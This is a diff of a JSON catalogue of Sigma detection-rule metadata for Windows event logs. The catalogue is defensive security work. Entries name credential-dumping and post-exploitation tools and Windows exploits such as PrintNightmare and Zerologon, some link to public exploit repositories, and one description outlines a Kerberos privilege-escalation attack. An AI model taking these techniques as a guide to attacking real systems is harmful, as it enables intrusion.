"https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_member_added_security_enabled_global_group.yml" + ], + "tags": "No established tags" + }, + "uuid": "c43c26be-2e87-46c7-8661-284588c5a53e", + "value": "A Member Was Added to a Security-Enabled Global Group" + }, + { + "description": "Detect remote login by Administrator user (depending on internal pattern).", + "meta": { + "author": "juju4", + "creation_date": "2017/10/29", + "falsepositive": [ + "Legitimate administrative activity." + ], + "filename": "win_security_admin_rdp_login.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://car.mitre.org/wiki/CAR-2016-04-005", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_admin_rdp_login.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1078.001", + "attack.t1078.002", + "attack.t1078.003", + "car.2016-04-005" + ] + }, + "related": [ + { + "dest-uuid": "6151cbea-819b-455a-9fa6-99a1cc58797d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "0f63e1ef-1eb9-4226-9d54-8927ca08520a", + "value": "Admin User Remote Logon" + }, { "description": "Detects common NTLM brute force device names", "meta": { @@ -10001,8 +9803,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://goo.gl/PsqrhT", "https://twitter.com/JohnLaTwC/status/1004895028995477505", + "https://goo.gl/PsqrhT", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml" ], "tags": [ @@ -10070,8 +9872,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", "https://twitter.com/mgreen27/status/1558223256704122882", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/esent/win_esent_ntdsutil_abuse_susp_location.yml" ], "tags": [ @@ -10094,8 +9896,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", "https://twitter.com/mgreen27/status/1558223256704122882", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/esent/win_esent_ntdsutil_abuse.yml" ], "tags": [ @@ -10118,11 +9920,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/FlemmingRiis/status/1217147415482060800", "https://www.youtube.com/watch?v=ebmW42YYveI", "https://twitter.com/DidierStevens/status/1217533958096924676", "https://twitter.com/VM_vivisector/status/1217190929330655232", "https://nullsec.us/windows-event-log-audit-cve/", + "https://twitter.com/FlemmingRiis/status/1217147415482060800", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft-windows_audit_cve/win_audit_cve.yml" ], "tags": [ @@ -10200,8 +10002,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft_windows_backup/win_susp_backup_delete.yml" ], "tags": [ @@ -10221,6 +10023,29 @@ "uuid": "9703792d-fd9a-456d-a672-ff92efe4806a", "value": "Backup Catalog Deleted" }, + { + "description": "Detects corrupted packets sent to the MSMQ service. Could potentially be a sign of CVE-2023-21554 exploitation", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/04/21", + "falsepositive": [ + "Unknown" + ], + "filename": "win_msmq_corrupted_packet.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.randori.com/blog/vulnerability-analysis-queuejumper-cve-2023-21554/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msmq/win_msmq_corrupted_packet.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "ae94b10d-fee9-4767-82bb-439b309d5a27", + "value": "MSMQ Corrupted Packet Encountered" + }, { "description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", "meta": { @@ -10234,8 +10059,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", "https://technet.microsoft.com/en-us/library/security/4022344", + "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/windows_error_reporting/win_application_msmpeng_crash_wer.yml" ], "tags": [ @@ -10276,8 +10101,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", "https://technet.microsoft.com/en-us/library/security/4022344", + "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/application_error/win_application_msmpeng_crash_error.yml" ], "tags": [ @@ -10387,8 +10212,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies", "https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWEventsList/CSV/Windows11/22H2/W11_22H2_Pro_20220920_22621.382/Providers/Microsoft-Windows-AppXDeployment-Server.csv", + "https://learn.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft_windows_software_restriction_policies/win_software_restriction_policies_block.yml" ], "tags": [ @@ -10421,9 +10246,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31", "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", + "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/Other/win_av_relevant_match.yml" ], "tags": [ @@ -10746,9 +10571,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", "https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16", "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_disable_audit_settings.yml" ], "tags": [ @@ -10869,8 +10694,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/", "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", + "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml" ], "tags": [ @@ -11040,30 +10865,6 @@ "uuid": "71886b70-d7b4-4dbf-acce-87d2ca135262", "value": "Suspicious Rejected SMB Guest Logon From IP" }, - { - "description": "Detects (failed) outbound connection attempts to internet facing SMB servers. This could be a sign of potential exploitation attempts of CVE-2023-23397.", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/05", - "falsepositive": [ - "Some false positives may occur from external trusted servers. Apply additional filters accordingly" - ], - "filename": "win_smbclient_connectivity_exploit_cve_2023_23397_outlook_remote_file.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/connectivity/win_smbclient_connectivity_exploit_cve_2023_23397_outlook_remote_file.yml" - ], - "tags": [ - "attack.exfiltration", - "cve.2023.23397" - ] - }, - "uuid": "de96b824-02b0-4241-9356-7e9b47f04bac", - "value": "Potential CVE-2023-23397 Exploitation Attempt - SMB" - }, { "description": "Detects suspicious application installed by looking at the added shortcut to the app resolver cache", "meta": { @@ -11100,11 +10901,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", "https://winaero.com/enable-openssh-server-windows-10/", + "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", + "https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml" ], "tags": [ @@ -11124,76 +10925,6 @@ "uuid": "3ce8e9a4-bc61-4c9b-8e69-d7e2492a8781", "value": "OpenSSH Server Listening On Socket" }, - { - "description": "Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675", - "meta": { - "author": "Florian Roth (Nextron Systems), KevTheHermit, fuzzyf10w, Tim Shelton", - "creation_date": "2021/06/30", - "falsepositive": [ - "Problems with printer drivers" - ], - "filename": "win_exploit_cve_2021_1675_printspooler.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/hhlxf/PrintNightmare", - "https://github.com/afwu/PrintNightmare", - "https://twitter.com/fuzzyf10w/status/1410202370835898371", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "cve.2021.1675" - ] - }, - "related": [ - { - "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "4e64668a-4da1-49f5-a8df-9e2d5b866718", - "value": "Possible CVE-2021-1675 Print Spooler Exploitation" - }, - { - "description": "Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/01", - "falsepositive": [ - "Unknown" - ], - "filename": "win_exploit_cve_2021_1675_printspooler_operational.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/MalwareJake/status/1410421967463731200", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler_operational.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "cve.2021.1675" - ] - }, - "related": [ - { - "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "f34d942d-c8c4-4f1f-b196-22471aecf10a", - "value": "CVE-2021-1675 Print Spooler Exploitation" - }, { "description": "Detect standard users login that are part of high privileged groups such as the Administrator group", "meta": { @@ -11203,12 +10934,12 @@ "Standard domain users who are part of the administrator group. These users shouldn't have these right. But in the case where it's necessary. They should be filtered out using the \"TargetUserName\" field" ], "filename": "win_lsa_server_normal_user_admin.yml", - "level": "high", + "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection", "https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWProvidersManifests/Windows11/22H2/W11_22H2_Pro_20221220_22621.963/WEPExplorer/LsaSrv.xml", + "https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection", "https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/lsa_server/win_lsa_server_normal_user_admin.yml" ], @@ -11257,8 +10988,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection", + "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml" ], "tags": [ @@ -11360,8 +11091,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/duff22b/status/1280166329660497920", "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction?WT.mc_id=twitter#block-process-creations-originating-from-psexec-and-wmi-commands", + "https://twitter.com/duff22b/status/1280166329660497920", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_psexec_wmi_asr.yml" ], "tags": [ @@ -11423,6 +11154,41 @@ "uuid": "1321dc4e-a1fe-481d-a016-52c45f0c8b4f", "value": "Windows Defender Exclusions Added" }, + { + "description": "Detects issues with Windows Defender Real-Time Protection features", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems), Christopher Peacock '@securepeacock' (Update)", + "creation_date": "2023/03/28", + "falsepositive": [ + "Some crashes can occur sometimes and the event doesn't provide enough information to tune out these cases. Manual exception is required" + ], + "filename": "win_defender_real_time_protection_errors.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://gist.github.com/nasbench/33732d6705cbdc712fae356f07666346", + "Internal Research", + "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_real_time_protection_errors.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "related": [ + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "dd80db93-6ec2-4f4c-a017-ad40da6ffe81", + "value": "Windows Defender Real-Time Protection Failure/Restart" + }, { "description": "Windows Defender logs when the history of detected infections is deleted. Log file will contain the message \"Windows Defender Antivirus has removed history of malware and other potentially unwanted software\".", "meta": { @@ -11559,8 +11325,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware", "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", + "https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_suspicious_features_tampering.yml" ], "tags": [ @@ -11660,8 +11426,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/malmoeb/status/1535142803075960832", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://twitter.com/malmoeb/status/1535142803075960832", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_uncommon_tld.yml" ], "tags": [ @@ -11763,10 +11529,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://isc.sans.edu/diary/22264", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_ip_address.yml" ], "tags": [ @@ -11834,9 +11600,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", "https://twitter.com/malmoeb/status/1535142803075960832", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_file_sharing_domains.yml" ], "tags": [ @@ -11870,8 +11636,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", "https://ngrok.com/", + "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml" ], "tags": [ @@ -11904,9 +11670,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx", "https://twitter.com/gentilkiwi/status/861641945944391680", - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_dns_server_susp_server_level_plugin_dll.yml" ], "tags": [ @@ -12023,29 +11789,6 @@ "uuid": "39f919f3-980b-4e6f-a975-8af7e507ef2b", "value": "QuarksPwDump Clearing Access History" }, - { - "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/11/09", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_kdcsvc_rc4_downgrade.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/kerberos_key_distribution_center/win_system_kdcsvc_rc4_downgrade.yml" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee", - "value": "KDC RC4-HMAC Downgrade CVE-2022-37966" - }, { "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", "meta": { @@ -12059,8 +11802,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/zerosum0x0/CVE-2019-0708", "https://github.com/Ekultek/BlueKeep", + "https://github.com/zerosum0x0/CVE-2019-0708", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/termdd/win_system_rdp_potential_cve_2019_0708.yml" ], "tags": [ @@ -12115,15 +11858,15 @@ "value": "Volume Shadow Copy Mount" }, { - "description": "During exploitation of this vuln, two logs (providername:Microsoft-Windows-User Profiles Service) with eventid 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation.Viewed on 2008 Server", + "description": "During exploitation of this vulnerability, two logs (Provider_Name:Microsoft-Windows-User Profiles Service) with EventID 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation. Viewed on 2008 Server", "meta": { "author": "Cybex", "creation_date": "2022/08/16", "falsepositive": [ - "Unknown" + "Corrupted user profiles - https://social.technet.microsoft.com/wiki/contents/articles/3571.windows-user-profiles-service-event-1511-windows-cannot-find-the-local-profile-and-is-logging-you-on-with-a-temporary-profile.aspx" ], "filename": "win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml", - "level": "high", + "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ @@ -12150,9 +11893,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/", "https://twitter.com/wdormann/status/1347958161609809921", "https://twitter.com/jonasLyk/status/1347900440000811010", + "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/ntfs/win_system_ntfs_vuln_exploit.yml" ], "tags": [ @@ -12495,6 +12238,29 @@ "uuid": "530a6faa-ff3d-4022-b315-50828e77eef5", "value": "Anydesk Remote Access Software Service Installation" }, + { + "description": "Detects important or interesting windows services that got terminated unexpectedly.", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/04/14", + "falsepositive": [ + "Rare false positives could occur since service termination could happen due to multiple reasons" + ], + "filename": "win_system_service_terminated_unexpectedly.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.randori.com/blog/vulnerability-analysis-queuejumper-cve-2023-21554/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_unexpectedly.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "56abae0c-6212-4b97-adc0-0b559bb950c3", + "value": "Important Windows Service Terminated Unexpectedly" + }, { "description": "Detects PDQDeploy service installation on the target system.\nWhen a package is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1\n", "meta": { @@ -12748,8 +12514,8 @@ "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://www.sans.org/webcasts/119395", "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://www.sans.org/webcasts/119395", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_cobaltstrike_service_installs.yml" ], "tags": [ @@ -13814,67 +13580,6 @@ "uuid": "f7385ee2-0e0c-11eb-adc1-0242ac120002", "value": "Invoke-Obfuscation CLIP+ Launcher - System" }, - { - "description": "Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report", - "meta": { - "author": "Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2018/03/23", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_system_apt_oilrig_mar18.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_apt_oilrig_mar18.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "53ba33fd-3a50-4468-a5ef-c583635cfa92", - "value": "OilRig APT Schedule Task Persistence - System" - }, { "description": "Detects PsExec service installation and execution events (service and Sysmon)", "meta": { @@ -13888,8 +13593,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_psexec.yml" ], "tags": [ @@ -13981,8 +13686,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_eventlog/win_system_eventlog_cleared.yml" ], "tags": [ @@ -14017,8 +13722,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_eventlog/win_system_susp_eventlog_cleared.yml" ], "tags": [ @@ -14050,8 +13755,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382", "https://www.secura.com/blog/zero-logon", + "https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/netlogon/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml" ], "tags": [ @@ -14137,37 +13842,27 @@ "value": "Sysmon Crash" }, { - "description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n", + "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", "meta": { - "author": "frack113", - "creation_date": "2021/12/15", + "author": "Florian Roth (Nextron Systems)", + "creation_date": "2022/11/09", "falsepositive": [ "Unknown" ], - "filename": "win_system_exploit_cve_2021_42278.yml", - "level": "medium", + "filename": "win_system_kdcsvc_rc4_downgrade.yml", + "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kerberos_key_distribution_center/win_system_exploit_cve_2021_42278.yml" + "https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kerberos_key_distribution_center/win_system_kdcsvc_rc4_downgrade.yml" ], "tags": [ - "attack.credential_access", - "attack.t1558.003" + "attack.privilege_escalation" ] }, - "related": [ - { - "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": 